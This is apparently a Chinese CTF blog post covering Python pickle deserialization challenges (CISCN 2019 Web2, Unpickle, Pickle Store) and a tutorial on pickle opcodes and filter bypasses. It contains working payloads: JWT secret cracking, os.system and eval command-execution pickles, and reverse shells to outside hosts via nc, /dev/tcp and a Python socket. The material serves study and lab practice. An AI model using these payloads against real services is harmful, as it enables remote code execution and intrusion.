pickle反序列化2


[CISCN 2019华北Day1]Web2

首先我们打开插件看下,flask的web框架
然后就是我们要花钱买东西,接下来基本就确定是要伪造一个session了
但是这里的思路是错的,哈哈
当时意识到了一点不对劲
具体就是我们要买到等级6,但是,这里面的这个买不到等级6
不然怎么买?重复很多次?但是这里没有设计可以增加经验不断买的地方
还有就是抓包,有很多很多的数据,这里该怎么处理?
实际上可以一次性就买到等级6了
但是,也是因为刚才卡了一下的缘故,是可以点击下一页的
此时注意url栏

1
http://node4.anna.nssctf.cn:28363/shop?page=3

还有就是,点击这个图片,找到我们需要的地方

看到b站会员对应的这个lv4.png了吗
那我们也是可以找到等级6的

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://node4.anna.nssctf.cn:28363/shop?page='

for i in range(500):
u = url + str(i);
try:
response = requests.get(u)
if 'lv6.png' in response.text:
print(i)
break
except:
pass

运行脚本,找到page180是我们需要的
然后最后的结算页面,思路还是需要一些技巧或者多次尝试。我们可以将discount修改为一些比较小的数字
得到一个需要admin访问的页面

1
http://node4.anna.nssctf.cn:28363/b1g_m4mber

抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /b1g_m4mber HTTP/1.1
Host: node4.anna.nssctf.cn:28363
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28363/shopcar
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _xsrf=2|f5bfef8d|a0611b6d13ef21f5e64096ddda4f1f33|1752731473; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIifQ.rLD0MmVRNL4EWKNbRkE6QNny8Afs6YPnGqrZ7cKc_jo; commodity_id="2|1:0|10:1752734508|12:commodity_id|8:MTYyNA==|b35dc01a033f45636c71a0f93d1043f7ec1b1634540c1d743eb334f9d4b858d4"
If-None-Match: "c63998d5bdcbf56c96cd396256e18ee05bfc4f3e"
Connection: close

我们猜测是修改jwt来成为admin权限
我们使用一个工具,上一篇博客中有详细介绍,这里只给出了指令
encode

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

decode,with secret key

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

without secret key

1
2
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

我们使用这个

1
python2 session2.py decode -c 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIifQ.rLD0MmVRNL4EWKNbRkE6QNny8Afs6YPnGqrZ7cKc_jo'

之前架构可以看见是py2的
不对,这个是不能得到key的
我们需要使用另外的工具
https://github.com/brendan-rius/c-jwt-cracker
这个是下载地址
https://github.com/brendan-rius/c-jwt-cracker/blob/master/README.md
这是使用说明
这里我个人是安装了一些东西才搞定的
一个是安装gcc编辑器

1
sudo apt install gcc

还有一个就是

1
apt install libssl-dev

安装make

1
sudo apt install make

最后进入c-jwt-cracker-master目录下

1
make

最后再运行

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[~/c-jwt-cracker-master]
└─# make
gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o main.o main.c
gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o base64.o base64.c
gcc -o jwtcrack main.o base64.o -lssl -lcrypto -lpthread

┌──(root㉿kali)-[~/c-jwt-cracker-master]
└─# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIifQ.rLD0MmVRNL4EWKNbRkE6QNny8Afs6YPnGqrZ7cKc_jo
Secret is "1Kun"

最后我们得到了1Kun是我们的密钥
后面应该只需要进入文件夹执行最后一个命令就可以了

1
python2 session2.py decode -c 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJvb3QifQ.rkfdrSPds2mlAE-mjnsadSJW3LocWSs2OkMXInhVZsQ' -s '1Kun'

但是这个好像是不可以的
其实这一步我们是想要知道他的结构是什么样的,就是,是{‘username’:’root’}还是{‘username’:’name’}还是{‘_fresh’: True, ‘_id’: ‘3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40’, ‘_user_id’: ‘1’, ‘time’: ‘datetime.datetime(2025, 7, 16, 10, 53, 24, tzinfo=datetime.timezone.utc)’}
这种

这里我们使用之前的一个方法,放入cyverchef里面
我们进行base64解码之后

1
{"alg":"HS256","typ":"JWT"}{"username":"1"}."`Î..@0àÚc¤ÿ-.~Ì.¶h.¨üa.è³=Ю´

然后我们看了看到对不上的原因应该就是这里是先有一个{“alg”:”HS256”,”typ”:”JWT”},我们可以直接对最重要的部分进行修改就可以了
{“username”:”admin”}

最后我们可以得到另外一个地址
还有就是这个,如果我们已经知道这个session的组成部分,我们直接给这个session的关键部分换一个位置。当然,都知道关键部分的位置这些信息了,也没有必要用session2那个脚本了。

1
/static/asd1f654e683wq/www.zip

访问
然后进行审计,得到有用的信息,审计admin文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

主要是对这个become有一个pickle.loads(),也就是反序列化
我们就需要序列化这个,pickle.dumps
还有就是进行url编码的
urllib.unquote()

urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a


当然,这个脚本会报错

1
2
3
4

在 Python 2 中,urllib.quote() 是正确的写法;
但在 Python 3 中,quote 函数被移到了 urllib.parse 模块中,直接使用 urllib.quote() 会提示 “没有该属性”。

最后生成的脚本

1
2
3
4
5
6
7
import pickle
import urllib.parse
class payload(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('ls /').read()",))
a = pickle.dumps(payload(),protocol=0)
print(urllib.parse.quote(a))

这个没有protocol生成的payload用不了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
在 pickle.dumps() 中,protocol=0 是指 使用 Python pickle 协议的版本 0。pickle 协议是 Python 用于序列化和反序列化对象的格式,不同版本的协议在兼容性、性能和特性上有所不同。
各协议版本的主要区别
协议版本 Python 支持 特点
0 所有版本 人类可读的 ASCII 格式,兼容性最强,但效率最低。适合需要手动检查或与旧系统交互的场景。
1 所有版本 二进制格式,比协议 0 更高效,但不支持某些高级特性。
2 2.3+ 引入对象状态保存优化,支持新类(new-style class)。
3 3.0+ 默认 Python 3 协议,明确支持 bytes 类型。
4 3.4+ 支持更大对象、自定义类型和扩展 pickle 格式。
5 3.8+ 增加对带外数据(out-of-band data)的支持,提升性能。
为什么使用 protocol=0?
在你的代码中,使用 protocol=0 的主要原因可能是:

兼容性需求:生成的 pickle 数据需要被旧版本 Python 解析。
可读性:协议 0 的输出是 ASCII 格式,便于调试或手动分析。
安全测试:在某些漏洞利用场景(如 pickle 反序列化漏洞)中,使用简单协议可以避免兼容性问题。

对比示例
协议 0(ASCII 格式)
python
运行

import pickle
data = {'name': 'Alice', 'age': 30}
pickled = pickle.dumps(data, protocol=0)
print(pickled)
# 输出: b'(dp0\nS\'name\'\np1\nS\'Alice\'\np2\nsS\'age\'\np3\nI30\ns.'


协议 3(二进制格式)
python
运行

pickled = pickle.dumps(data, protocol=3)
print(pickled)
# 输出: b'\x80\x03}q\x00(X\x04\x00\x00\x00nameq\x01X\x05\x00\x00\x00Aliceq\x02X\x03\x00\x00\x00ageq\x03K\x1es.'


你的代码中的作用
在你的代码中,protocol=0 确保生成的 pickle 数据是 ASCII 格式,后续通过 urllib.parse.quote() 编码为 URL 安全字符串。这在构造 HTTP 请求参数(如 Cookie、表单数据)时非常有用,因为 ASCII 格式更易于嵌入 URL 中。

如果不指定协议(默认使用当前 Python 版本的最高协议),生成的二进制数据可能包含无法直接作为 URL 参数的字符,导致传输或解析错误。

如果不是这样的话,最上面的直接读取flag.txt是怎么来的,我怎么确定要读的是这样文件
我们在点击成为大会员后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /b1g_m4mber HTTP/1.1
Host: node4.anna.nssctf.cn:28254
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://node4.anna.nssctf.cn:28254
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node4.anna.nssctf.cn:28254/b1g_m4mber
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: commodity_id="2|1:0|10:1752734508|12:commodity_id|8:MTYyNA==|b35dc01a033f45636c71a0f93d1043f7ec1b1634540c1d743eb334f9d4b858d4"; _xsrf=2|014de807|65b58f93a15d4cb086d684e4e5d8401f|1752740480; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q
Connection: close

_xsrf=2%7Cf91ac06b%7C9de2a7ff590a64dc7e81ac881d8f6873%7C1752740480&become=admin

对become进行修改
最后拿到flag
最好在py2的环境下做这道题目,当然,py3的也出来了

其他做法,不用os模块

1
2
3
4
5
6
7
8
9
import pickle
import commands
import urllib
class test(object):
def __reduce__(self):
return(commands.getoutput,('ls /',))

t=test()
print urllib.quote(pickle.dumps(t))

安装对应模块

1
2
3
4
5
6
解决方法:使用 subprocess 替代 commands
如果你的代码是从 Python 2 迁移过来的,需要将 commands 替换为 subprocess。以下是常见用法的对应关系:

Python 2 (commands) Python 3 (subprocess) 说明
commands.getoutput(cmd) subprocess.getoutput(cmd) 执行命令,返回输出字符串
commands.getstatusoutput(cmd) subprocess.getstatusoutput(cmd) 执行命令,返回 (状态码,输出)

py2的环境下就不能用这个os模块了,要print才能有回显,都用上面这种方法

[Python]Unpickle

后面几道题目都是buu上面的
这里我们访问进去
只有一个hello,其他的什么都没有了
扫描发现什么没有
这里其实是给了源码了exp的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":
app.run()

很简答的源码,就是从cookie里面取出user,然后再pickle反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 
#!/usr/bin/env python3
import requests
import pickle
import os
import base64


class exp(object):
def __reduce__(self):
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
return (os.system, (s,))


e = exp()
s = pickle.dumps(e)

response = requests.get("http://172.18.0.2:8000/", cookies=dict(
user=base64.b64encode(s).decode()
))
print(response.content)

这个没有什么好说的了,基本都给你了,并且确定弹的出网?

[watevrCTF-2019]Pickle Store

这个和前面的给哥哥买东西的题目很像很像
这个我们主要是看看这个脚本是怎么写的
基本上的原理已经很清楚了,只是可能自己来写一个脚本,可能不想php反序列化那样能够很轻松地写出来

1
2
3
4
5
6
7
8
9
10
import base64
import pickle


class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 114.55.129.236 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

和前面的基本一样,这里也不多说了

[NewStarCTF 2023 公开赛道]Ye’s Pickle

小总结

[NewStarCTF 2023 公开赛道]Ye’s Pickle像这种题目,再或者类似的Pickle Store
都没有什么建设性
我觉得我现在对于这部分知识点,还差的是
1.脚本的编写,不会每次都是很简单的像上面的脚本。
2.就像我之前看到的24年的羊城杯的的exp,是会考一下绕过和waf的
payload是这种形式的

1
2
3
4
5
6
7
8
opcode=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/VPS/3333 0>&1"'
o.'''

secret="EnjoyThePlayTime123456"
exp = touni(cookie_encode(('user', opcode), secret))
print(exp)

我觉得我现在需要的就是对这个方面的再学习和理解

pickle再细致学习

参考大佬博客
https://ayan0.top/2025/05/13/%E9%9A%8F%E6%89%8B%E6%89%93%E7%9A%84pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://blog.csdn.net/google20/article/details/142071729?ops_request_misc=%257B%2522request%255Fid%2522%253A%252223d756aa4e29e1ebe7cf397aa72da6be%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=23d756aa4e29e1ebe7cf397aa72da6be&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-142071729-null-null.142^v102^pc_search_result_base4&utm_term=pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187

最基础部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"


p = Person()
opcode = pickle.dumps(p) #将一个Person对象序列化成二进制字节流
print(opcode)
# 结果如下
# b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'

P = pickle.loads(opcode) # 将一串二进制字节流反序列化为一个Person对象
print('The age is:' + str(P.age), 'The name is:' + P.name)
# 结果如下
# The age is:18 The name is:Pickle

这个还是没有什么问题的,只是一个单纯的先序列化一次,后面又反序列化一次的过程
比较重要的就是我们的__reduce__()方法。是object类中的一个魔术方法,我们可以

常见的一些指令

c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、’等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 无
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
我们来进行实例一下

1
2
import os
ox.system('ls')

换一种opcode的方式来表示

1
2
3
4
5
cos 
system #引入os.sysytem,压入栈
(S'ls' #压入一个MARK,再压入字符串ls
tR. #t把最后一个MARK处的元素包装成元组入栈
#R把元组作为os.system的参数,最后.运行

也可以参考下面这个理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import pickle

opcode = b'''cos
system
(S'whoami'
tR.'''

"""
cos
system
c表示import 一个模块中的函数并作为对象压栈
(S'whoami'
(表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈
tR.
t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。
R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。
.表示程序结束,栈顶的一个元素作为pickle.loads()的返回值
"""
pickle.loads(opcode)
#xxx\21609

漏洞利用方式

命令执行

1
2
3
4
5
6
7
8
9
10
11
import pickle

opcode = b'''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

在pickle中,和函数执行相关的字节码有三个R、I、O
分别对应

1
2
3
4
5
opcode1=b'''cos
system
(S'whoami'
tR.'''

1
2
3
4
5
opcode2=b'''(S'whoami'
ios
system
.'''

1
2
3
4
5
opcode3=b'''(cos
system
S'whoami'
o.'''

实例化对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle

class Person:
def __init__(self, age, name):
self.age = age
self.name = name

opcode = b'''c__main__
Person
(I18
S'Pickle'
tR.'''

p = pickle.loads(opcode)
print(p)
print(p.age, p.name)

"""
<__main__.Person object at 0x0000013440833B90>
18 Pickle
"""

使用b执行进行变量覆盖

反序列化漏洞

__reduce__方法
对应的指令为R
class的__reduce__方法,在pickle反序列化的时候会被执行

waf绕过

对于R被禁了的时候

绕过黑名单函数

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单

1
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼可以帮助我们解决这道问题
还有一个解(估计是出题人的预期解),那就是利用map来干这件事

1
2
3
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])

最后就是黑名单是不可以用的,不可取

常见绕过

使用b指令绕过R指令

当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate__与__setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__。
在pickle源码中,字节码b对应的是load_build()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def load_build(self):
stack = self.stack
state = stack.pop()
#首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
inst = stack[-1]
#获取该字典中键名为"__setstate__"的value
setstate = getattr(inst, "__setstate__", None)
#如果存在,则执行value(state)
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
#如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
#如果__setstate__和__getstate__都没有设置,则加载默认__dict__
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

如果我们将如果我们将字典{“setstate“:os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import pickle
class Person:
def __init__(self, name, age=0):
self.name = name
self.age = age

def __str__(self):
return f"name: {self.name}\nage: {self.age}"


class Child(Person):
def __setstate__(self, state):
print("invoke __setstate__")
self.name = state
self.age = 10

def __getstate__(self):
print("invoke __getstate__")
return "Child"

opcode=b"""(c__main__
Person
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b."""

"""
}空字典入栈
u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中
第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对
第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state)
也就是os.system(command)
"""

fake = pickle.loads(opcode)
#xxx\21609

当然,这里看的我很莫名其妙

绕过builtins

有些例子限制死了module==”builtins”
builtins模块提供了python的内置函数,在解释器启动的时候自动导入
查看所包含的函数

1
2
3
4
import sys
for i in sys.modules['builtins'].__dict__:
print(i)

我们的目的是构造print(eval(“import(‘os’).system(‘whoami’)”))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import pickle
import builtins
import os
print(builtins.getattr(builtins,'eval'))# 获取对象属性值
# <built-in function eval>
# 但是我们c指令要给出instance,也就是说不能单独import builtins
print(builtins.globals())#获取模块包含的内容
"""
返回的字典最后一个是 'builtins': <module 'builtins' (built-in)>
"""
print(builtins.getattr(builtins.dict,'get'))#获取get函数
print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'))
# builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值
print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval'))
# <built-in function eval>

opcode=b"""cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'builtins'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR."""
# 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组
# 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")')
pickle.loads(opcode) # xxx\21609

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import pickle
import io
import builtins

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()


opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

restricted_loads(opcode)

绕过关键字过滤

1.十六进制绕过
操作码s能够识别十六进制字符串
S’\x73ecret’
2.使用V指令进行unicode绕过
Vsecr\u0065t
对于已导入的模块,我们可以通过sys.modules[‘xxx’]来获取该模块,然后通过内置函数dir()来列出模块中的所有属性。

由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象。

然后通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始
hello.py

1
secret="this is a key"

pk1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import pickle
import sys
import hello
print(dir(sys.modules['hello']))
# ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret']
print(next(reversed(dir(sys.modules['hello']))))
# secret
# 下面手写opcode获取secret字符串
opcode=b"""(((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
."""
print(pickle.loads(opcode))
# secret

下面构造变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import pickle
import sys
import hello
class A(object):
def __init__(self,uname,password):
self.uname=uname
self.password=password
def get_password(uname):
if uname=="hello":
return hello.secret


opcode=b"""c__main__
hello
((((c__main__
hello
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I999
db(S'hello'
I999
i__main__
A
."""
a=pickle.loads(opcode)
if a.uname=='hello':
if(a.password==get_password('hello')):
#覆盖了hello模块的secret变量,使其与实例a的password相等
print("success")
#success

这些算是一些基本的知识了
我们这里当然想的是,能不能多做两个类似的题目来帮助我们解决对应的问题,达到一个更好的理解

总结

我会再次好好再学一下python的一些基础知识,目前这方面较为欠缺
会及时补上来的。会有这个知识的第三篇文章,并且附上py以及脚本题的解决
对于这种类型的题目,最简单的已经没有什么问题了。比如ikuu哥哥那道题目(因为过了session那一步之后,只要简单反序列化一次就可以了)
但是对于像羊城杯,[MTCTF 2022]easypickle的那种要绕过waf的,实在还是有点难理解


文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录